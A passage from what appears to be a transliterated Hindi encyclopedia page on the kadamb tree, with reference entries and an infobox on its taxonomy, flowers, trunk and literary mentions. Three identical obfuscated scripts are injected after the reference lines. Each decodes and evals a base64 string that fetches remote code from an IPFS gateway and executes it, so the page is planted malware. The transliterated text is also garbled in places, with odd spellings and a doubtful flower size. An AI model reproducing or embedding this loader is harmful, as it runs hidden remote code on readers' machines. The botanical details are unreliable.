[2] ye kadamb ka pe d (hiandi) chetana ke svar ujale ki or. abhigaman tithi: 25 julaee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[3] vriksh ka aushadhiy prayog (hiandi) Natural Care:ayurvedik upachar. abhigaman tithi: 25 julaee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[4] ye krishna ka kadamb (hiandi) mera samast (bl aaug). abhigaman tithi: 25 julaee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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kadamb
kadamb ka pe d\|200px\|center
jagat	padap (Plantae)
gan	jenashiyanels (Gentianales)
kul	roobiyesi (Rubiaceae)
jati	niyolamarkiya (Neolamarckia")
prajati	kaidemba (cadamba)
dvipad nam	niyolamarkiya kadamba (Neolamarckia cadamba")
phool	geand ki tarah gol lagabhag 55 semi vyas ke hote haian jisamean anek ubhayaliangi puankesar komal shar ki bhaanti bahar ki or nikale hote haian.
tana	kadamb ka tana 100 se 160 seantimitar vyas ka, chikana, saphedi lie hue halke bhoore rang ka hota hai.
any janakari	banabhatt ke prasiddh kavy "kadambari" ki nayika "kadambari" ka nam bhi kadamb vriksh ke adhar par hai. isi tarah bharavi, magh aur bhavabhooti ne bhi apane kavy mean kadamb ka vishisht varnan kiya hai.